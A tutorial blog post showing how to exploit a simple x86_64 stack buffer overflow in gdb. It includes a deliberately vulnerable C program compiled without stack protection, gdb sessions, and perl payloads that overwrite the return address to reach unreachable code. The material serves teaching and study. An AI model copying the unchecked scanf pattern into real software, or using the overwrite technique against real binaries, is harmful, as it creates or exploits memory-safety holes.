
Simple x86_64 buffer overflow in gdb
Background
We will be debugging a C buffer overflow in gdb to attain higher privileges.
The basic idea behind a C buffer overflow is pretty simple. You have a buffer, a chunk of memory reserved for the purpose of storing data. To the outside of this on the stack (which grows downwards on x86 and x86_64, meaning as it gets larger the memory addresses go down), other pieces of the program are stored and manipulated. Generally, the idea as we are hacking is to redirect program flow as we see fit. Luckily for us, manipulation of the stack (stack “smashing”) can allow us to do this. Usually, you’ll want to gain privileges, usually by execution of shellcode - or whatever your end goal is, but for the purposes of this tutorial, we’ll just be redirecting program flow to code that would otherwise be unreachable to us (in practice, this can be virtually anything; even including the execution of instructions that were not formally there). This is done by writing past the end of the buffer and arbitrarily overwriting the stack.
Prerequisites
You’ll need some patience, a C compiler (I’m using gcc, I recommend you use that to follow along), as well as gdb (the debugger, giddabug as I lovingly call it), and a Linux machine or VM, and perl or python (this walkthrough uses perl).
My environment is:
1 2 3 4 | gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Linux jerkon 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux This is perl 5, version 30, subversion 0 (v5.30.0) built for x86_64-linux-gnu-thread-multi |
The Vulnerable Code
This program is vulnerable to a buffer overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char u[16];
volatile int p = 0;
scanf("%s", u);
if (p != 0) {
printf("How u do dat?\n");
}
else {
printf("Nope.\n");
}
return 0;
}
Upon reading the code, you’ll notice that we allocate a char array u of 16 bytes, but then we use
scanf to bring in user input, without checking the length of the data the user entered. Compile
the code using the command
. You’ll need the
-ggdb to be able to see the C source file in gdb, and -fno-stack-protector so stack smashing
protection isn’t compiled into the binary for testing.1
gcc pwnme.c -o pwnme -fno-stack-protector -ggdb
Exploitation
Simply run it and press a few (more than 16!) random keys, you’ll then be overwriting the stack. Unless the data entered is carefully picked, this usually just results in a crash, more often what’s known as a segmentation fault.
[marshall@jerkon]{11:14 PM}: [~/Hack/bof_wt] $ ./pwnme
abcdefghijklmnopqrstuvwxy and z
Nope.
Segmentation fault (core dumped)
[marshall@jerkon]{11:39 PM}: [~/Hack/bof_wt] $
You can now fire up gdb and pull in our binary using the command:
. You should then
see some version information, and, assuming you compiled in debugging symbols with -ggdb earlier,
you should see:1
gdb ./pwnme
Reading symbols from ./pwnme...
(gdb)
One of the foremost things I usually do, just to get a feel for the code at hand, is enter
(short for disassemble). You can replace main with any function name called from
within the code, including libraries used.1
disas main
(gdb) disas main
Dump of assembler code for function main:
0x0000000000001169 <+0>: endbr64
0x000000000000116d <+4>: push %rbp
0x000000000000116e <+5>: mov %rsp,%rbp
0x0000000000001171 <+8>: sub $0x20,%rsp
0x0000000000001175 <+12>: movl $0x0,-0x14(%rbp)
0x000000000000117c <+19>: lea -0x10(%rbp),%rax
0x0000000000001180 <+23>: mov %rax,%rsi
0x0000000000001183 <+26>: lea 0xe7a(%rip),%rdi # 0x2004
0x000000000000118a <+33>: mov $0x0,%eax
0x000000000000118f <+38>: callq 0x1070 <__isoc99_scanf@plt>
0x0000000000001194 <+43>: mov -0x14(%rbp),%eax
0x0000000000001197 <+46>: test %eax,%eax
0x0000000000001199 <+48>: je 0x11a9 <main+64>
0x000000000000119b <+50>: lea 0xe65(%rip),%rdi # 0x2007
0x00000000000011a2 <+57>: callq 0x1060 <puts@plt>
0x00000000000011a7 <+62>: jmp 0x11b5 <main+76>
0x00000000000011a9 <+64>: lea 0xe65(%rip),%rdi # 0x2015
0x00000000000011b0 <+71>: callq 0x1060 <puts@plt>
0x00000000000011b5 <+76>: mov $0x0,%eax
0x00000000000011ba <+81>: leaveq
0x00000000000011bb <+82>: retq
End of assembler dump.
(gdb)
Right off the bat, you should see a bunch of locations of various instruction sequences in memory.
You can get an idea of where the code you want to land at is by typing
which should show you
the C source 4 lines before and after line 11; where you want to land, at
1
list 11
. Your gdb session should now look something like this:1
printf("How you do dat?\n");
(gdb) list 11
6 int main() {
7 char u[16];
8 volatile int p = 0;
9 scanf("%s", u);
10 if (p != 0) {
11 printf("How u do dat?\n");
12 }
13 else {
14 printf("Nope.\n");
15 }
(gdb)
We’ll now insert a breakpoint at line 10, the conditional check
that we want to
circumvent.1
if (p != 0)
(gdb) break 10
Breakpoint 1 at 0x1194: file pwnme.c, line 10.
(gdb)
You should also insert a breakpoint at line 11 so it will notify you when you land in the correct spot.
The next part takes a bit of trial and error, you’ll need to figure out how many A’s (hex 0x41) you can insert past the end of the buffer u until you fully overwrite the RIP address (return instruction pointer).
It should look something like this when you’ve found the max overwrite:
(gdb) r <<< $(perl -e 'print "A"x30')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x30')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) c
Continuing.
Nope.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)
As you can see, we hit a segmentation fault and at the time of the fault, the RIP was pointed at
, a non-existent memory location. You can check this two ways:1
0x414141414141
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x7ffff7ece1e7 140737352884711
rdx 0x0 0
rsi 0x55555555a2b0 93824992256688
rdi 0x7ffff7fab4c0 140737353790656
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe070 0x7fffffffe070
r8 0x6 6
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe150 140737488347472
r14 0x0 0
r15 0x0 0
rip 0x414141414141 0x414141414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p/x $rip
$5 = 0x414141414141
(gdb)
Now that the program has been run, crashed, and left some registers behind for gdb to inspect, you
should again run
and this time your memory locations should be prefixed with 0x5555555.1
disas main
You can now run
and you’ll see something like:1
info breakpoints
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000555555555194 in main at pwnme.c:10
breakpoint already hit 1 time
2 breakpoint keep y 0x000055555555519b in main at pwnme.c:11
(gdb)
So now you know that line 11 in the original C program corresponds to memory location
. You can view which exact instructions will be executed at that location too:1
0x000055555555519b
(gdb) x/i 0x000055555555519b
0x55555555519b <main+50>: lea 0xe65(%rip),%rdi # 0x555555556007
(gdb)
By now you can probably see where this is headed. We’ll want to overwrite the return pointer with
so that we skip past the p conditional.1
0x55555555519b
You’ll need to recalculate the number of A’s as padding to use, it’s usually the number you used - 6.
Addresses in memory will be backward because of the endianness, so to illustrate this let us try:
(gdb) r <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) c
Continuing.
Nope.
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) p/x $rip
$12 = 0x112233445566
(gdb)
We’re now ready to plug in our memory location
. It’s worth noting that the
leading zeros don’t matter and should be omitted here. Also, if it were required to use 1
0x000055555555519b
since this translates to NULL, and code execution stops if it hits a NULL character, you would
need to find another way around using the existing instructions.1
00
So the moment of truth, and to make this work you’ll need to change
to wherever your
compiler assigned the instruction in memory. It’s likely different from where mine did!1
0x55555555519b
(gdb) r <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) cont
Continuing.
Nope.
Breakpoint 2, main () at pwnme.c:11
11 printf("How u do dat?\n");
(gdb) cont
Continuing.
How u do dat?
Program received signal SIGBUS, Bus error.
main () at pwnme.c:17
17 }
(gdb)
Conclusion
Looks like we did it! We finally hit breakpoint #2 and were able to execute the instructions at
, printing “How u do dat?”.1
0x55555555519b
This buffer overflow was quite trivial, and most will require quite a bit more work to exploit. You should however now get a general concept, and learn some about gdb in the process.
If you have questions or need help, feel free to leave a comment, or email me!
If you enjoy my work, sponsor or hire me! I work hard keeping oxasploits running!
Bitcoin Address:
bc1qq7vvwfe7760s3dm8uq28seck465h3tqp3fjq4l
Thank you so much and happy hacking!